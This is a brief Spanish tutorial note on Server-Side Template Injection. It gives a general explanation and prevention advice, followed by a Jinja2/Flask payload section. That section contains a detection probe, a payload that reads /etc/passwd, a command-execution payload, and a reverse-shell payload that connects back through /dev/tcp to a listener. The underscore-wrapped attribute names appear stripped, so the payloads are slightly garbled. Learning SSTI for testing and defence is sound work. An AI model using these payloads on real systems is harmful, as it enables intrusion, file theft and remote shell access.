Server-Side Template Injection (SSTI)

#OWASP10 #SSTI

El Server-Side Template Injection (SSTI) es una vulnerabilidad de seguridad que permite a un atacante inyectar código malicioso en una plantilla de servidor utilizada para generar contenido dinámico en una aplicación web. Esto les otorga la capacidad de ejecutar comandos en el servidor y obtener acceso no autorizado a la aplicación y datos sensibles.

Por ejemplo, un atacante podría aprovechar una vulnerabilidad de SSTI para inyectar código malicioso en la plantilla de correo electrónico de una aplicación web, lo que les permitiría ejecutar comandos en el servidor y acceder a datos confidenciales.

Es importante que los desarrolladores de aplicaciones web validen y filtren adecuadamente la entrada del usuario para prevenir ataques de SSTI. Además, deben utilizar frameworks y herramientas de plantillas seguras que implementen medidas de seguridad para prevenir la inyección de código malicioso. Es crucial tener en cuenta que no solo las aplicaciones basadas en Flask o Python pueden ser vulnerables, sino también otras aplicaciones que utilicen diferentes frameworks de plantillas como Django o Ruby on Rails.

La prevención de ataques de SSTI requiere un enfoque proactivo y una atención constante a la seguridad de las aplicaciones web, asegurando una implementación adecuada de las medidas de seguridad y el uso de buenas prácticas de desarrollo seguro.

Jinja2

Para el caso de Jinja2, que utiliza Flask, existen diversos payloads como por ejemplo:

{{7*7}}

Si lo calcula, significa que es vulnerable. Es importante mencionar que los payloads pueden ser ejecutados en el URL o en un formulario.

Entonces podrias leer archivos con:

{{ get_flashed_messages.globals.builtins.open("/etc/passwd").read() }}

Ejecutar comandos

{{ self.init.globals.builtins.import('os').popen('whoami').read() }}

Reverse Shell

nc -nlvp 443
{{ self.init.globals.builtins.import('os').popen('bash -c "bash -i >%26 /dev/tcp/<YourIP>/443 0>%261"').read() }}

Last updated